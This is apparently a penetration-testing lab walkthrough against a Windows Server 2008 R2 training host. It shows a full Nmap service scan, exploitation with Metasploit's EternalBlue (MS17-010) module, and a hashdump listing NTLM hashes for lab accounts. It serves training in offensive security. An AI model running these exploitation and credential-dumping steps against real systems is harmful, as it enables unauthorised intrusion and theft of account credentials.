Lab
Find IP via /etc/hosts -- BLACK BOX
cat /etc/hosts
Create Folder for Pentest
mkdir Win2k8
Set Global Variables
setg RHOSTS 10.3.31.190
setg RHOST 10.3.31.190
DB_Nmap Scan
db_nmap -sC -sV 10.3.31.190
```msf
msf6 > db_nmap -sC -sV 10.3.31.190
[*] Nmap: Starting Nmap 7.92 ( https://nmap.org ) at 2023-09-10 01:12 IST
[*] Nmap: Nmap scan report for demo.ine.local (10.3.31.190)
[*] Nmap: Host is up (0.0034s latency).
[*] Nmap: Not shown: 983 closed tcp ports (reset)
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp Microsoft ftpd
[*] Nmap: | ftp-syst:
[*] Nmap: |_ SYST: Windows_NT
[*] Nmap: 22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 2048 83:56:2e:69:b5:2d:b4:9a:e4:7f:97:86:d8:bc:ae:7b (RSA)
[*] Nmap: |_ 521 c0:e2:da:9d:e2:1e:58:09:7e:80:07:ec:3e:b4:57:f5 (ECDSA)
[*] Nmap: 80/tcp open http Microsoft IIS httpd 7.5
[*] Nmap: | http-methods:
[*] Nmap: |_ Potentially risky methods: TRACE
[*] Nmap: |_http-server-header: Microsoft-IIS/7.5
[*] Nmap: |_http-title: Site doesn't have a title (text/html).
[*] Nmap: 135/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
[*] Nmap: 3306/tcp open mysql MySQL 5.5.20-log
[*] Nmap: | mysql-info:
[*] Nmap: | Protocol: 10
[*] Nmap: | Version: 5.5.20-log
[*] Nmap: | Thread ID: 6
[*] Nmap: | Capabilities flags: 63487
[*] Nmap: | Some Capabilities: Support41Auth, FoundRows, SupportsLoadDataLocal, SupportsCompression, IgnoreSigpipes, ODBCClient, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, LongPassword, SupportsTransactions, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
[*] Nmap: | Status: Autocommit
[*] Nmap: | Salt: ^^<P`o.3X@x]I6pU9[=a
[*] Nmap: |_ Auth Plugin Name: mysql_native_password
[*] Nmap: 3389/tcp open tcpwrapped
[*] Nmap: | ssl-cert: Subject: commonName=vagrant-2008R2
[*] Nmap: | Not valid before: 2023-05-18T06:23:57
[*] Nmap: |_Not valid after: 2023-11-17T06:23:57
[*] Nmap: |_ssl-date: 2023-09-09T19:44:24+00:00; -1s from scanner time.
[*] Nmap: 4848/tcp open ssl/http Oracle Glassfish Application Server
[*] Nmap: |_http-server-header: GlassFish Server Open Source Edition 4.0
[*] Nmap: |_http-title: Login
[*] Nmap: |_ssl-date: 2023-09-09T19:44:24+00:00; -1s from scanner time.
[*] Nmap: | ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US
[*] Nmap: | Not valid before: 2013-05-15T05:33:38
[*] Nmap: |_Not valid after: 2023-05-13T05:33:38
[*] Nmap: 7676/tcp open java-message-service Java Message Service 301
[*] Nmap: 8080/tcp open http Sun GlassFish Open Source Edition 4.0
[*] Nmap: |_http-title: GlassFish Server - Server Running
[*] Nmap: | http-methods:
[*] Nmap: |_ Potentially risky methods: PUT DELETE TRACE
[*] Nmap: |_http-server-header: GlassFish Server Open Source Edition 4.0
[*] Nmap: 8181/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
[*] Nmap: |_http-title: GlassFish Server - Server Running
[*] Nmap: |_http-server-header: GlassFish Server Open Source Edition 4.0
[*] Nmap: |_ssl-date: 2023-09-09T19:44:24+00:00; -1s from scanner time.
[*] Nmap: | http-methods:
[*] Nmap: |_ Potentially risky methods: PUT DELETE TRACE
[*] Nmap: | ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US
[*] Nmap: | Not valid before: 2013-05-15T05:33:38
[*] Nmap: |_Not valid after: 2023-05-13T05:33:38
[*] Nmap: 9200/tcp open wap-wsp?
[*] Nmap: | fingerprint-strings:
[*] Nmap: | FourOhFourRequest:
[*] Nmap: | HTTP/1.0 400 Bad Request
[*] Nmap: | Content-Type: text/plain; charset=UTF-8
[*] Nmap: | Content-Length: 80
[*] Nmap: | handler found for uri [/nice%20ports%2C/Tri%6Eity.txt%2ebak] and method [GET]
[*] Nmap: | GetRequest:
[*] Nmap: | HTTP/1.0 200 OK
[*] Nmap: | Content-Type: application/json; charset=UTF-8
[*] Nmap: | Content-Length: 307
[*] Nmap: | "status" : 200,
[*] Nmap: | "name" : "Shriker",
[*] Nmap: | "version" : {
[*] Nmap: | "number" : "1.1.1",
[*] Nmap: | "build_hash" : "f1585f096d3f3985e73456debdc1a0745f512bbc",
[*] Nmap: | "build_timestamp" : "2014-04-16T14:27:12Z",
[*] Nmap: | "build_snapshot" : false,
[*] Nmap: | "lucene_version" : "4.7"
[*] Nmap: | "tagline" : "You Know, for Search"
[*] Nmap: | HTTPOptions:
[*] Nmap: | HTTP/1.0 200 OK
[*] Nmap: | Content-Type: text/plain; charset=UTF-8
[*] Nmap: | Content-Length: 0
[*] Nmap: | RTSPRequest, SIPOptions:
[*] Nmap: | HTTP/1.1 200 OK
[*] Nmap: | Content-Type: text/plain; charset=UTF-8
[*] Nmap: |_ Content-Length: 0
[*] Nmap: 49152/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 49153/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 49154/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 49158/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[*] Nmap: SF-Port9200-TCP:V=7.92%I=7%D=9/10%Time=64FCCAAC%P=x86_64-pc-linux-gnu%r(Ge
[*] Nmap: SF:tRequest,18A,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20application/js
[*] Nmap: SF:on;\x20charset=UTF-8\r\nContent-Length:\x20307\r\n\r\n{\r\n\x20\x20\"st
[*] Nmap: SF:atus\"\x20:\x20200,\r\n\x20\x20\"name\"\x20:\x20\"Shriker\",\r\n\x20\x2
[*] Nmap: SF:0\"version\"\x20:\x20{\r\n\x20\x20\x20\x20\"number\"\x20:\x20\"1\.1\.1\
[*] Nmap: SF:",\r\n\x20\x20\x20\x20\"build_hash\"\x20:\x20\"f1585f096d3f3985e73456de
[*] Nmap: SF:bdc1a0745f512bbc\",\r\n\x20\x20\x20\x20\"build_timestamp\"\x20:\x20\"20
[*] Nmap: SF:14-04-16T14:27:12Z\",\r\n\x20\x20\x20\x20\"build_snapshot\"\x20:\x20fal
[*] Nmap: SF:se,\r\n\x20\x20\x20\x20\"lucene_version\"\x20:\x20\"4\.7\"\r\n\x20\x20}
[*] Nmap: SF:,\r\n\x20\x20\"tagline\"\x20:\x20\"You\x20Know,\x20for\x20Search\"\r\n}
[*] Nmap: SF:\n")%r(HTTPOptions,4F,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/
[*] Nmap: SF:plain;\x20charset=UTF-8\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
[*] Nmap: SF:,4F,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20charset=
[*] Nmap: SF:UTF-8\r\nContent-Length:\x200\r\n\r\n")%r(FourOhFourRequest,A9,"HTTP/1\
[*] Nmap: SF:.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
[*] Nmap: SF:UTF-8\r\nContent-Length:\x2080\r\n\r\nNo\x20handler\x20found\x20for\x20
[*] Nmap: SF:uri\x20\[/nice%20ports%2C/Tri%6Eity\.txt%2ebak\]\x20and\x20method\x20\[
[*] Nmap: SF:GET\]")%r(SIPOptions,4F,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20tex
[*] Nmap: SF:t/plain;\x20charset=UTF-8\r\nContent-Length:\x200\r\n\r\n");
[*] Nmap: Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
[*] Nmap: Host script results:
[*] Nmap: |_clock-skew: mean: 1h09m59s, deviation: 2h51m28s, median: -1s
[*] Nmap: | smb-security-mode:
[*] Nmap: | account_used: <blank>
[*] Nmap: | authentication_level: user
[*] Nmap: | challenge_response: supported
[*] Nmap: |_ message_signing: disabled (dangerous, but default)
[*] Nmap: |_nbstat: NetBIOS name: VAGRANT-2008R2, NetBIOS user: <unknown>, NetBIOS MAC: 06:8d:de:b9:ba:43 (unknown)
[*] Nmap: | smb-os-discovery:
[*] Nmap: | OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
[*] Nmap: | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
[*] Nmap: | Computer name: vagrant-2008R2
[*] Nmap: | NetBIOS computer name: VAGRANT-2008R2\x00
[*] Nmap: | Workgroup: WORKGROUP\x00
[*] Nmap: |_ System time: 2023-09-09T12:44:09-07:00
[*] Nmap: | smb2-security-mode:
[*] Nmap: | 2.1:
[*] Nmap: |_ Message signing enabled but not required
[*] Nmap: | smb2-time:
[*] Nmap: | date: 2023-09-09T19:44:09
[*] Nmap: |_ start_date: 2023-09-09T19:38:10
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 122.27 seconds
```
Vulnerable SMB (EternalBlue)
[*] Nmap: 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
use exploit/windows/smb/ms17_010_eternalblue
exploit
Hashdump
hashdump
```text
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee:::
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0:::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951:::
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76:::
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4:::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001:::
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f:::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
```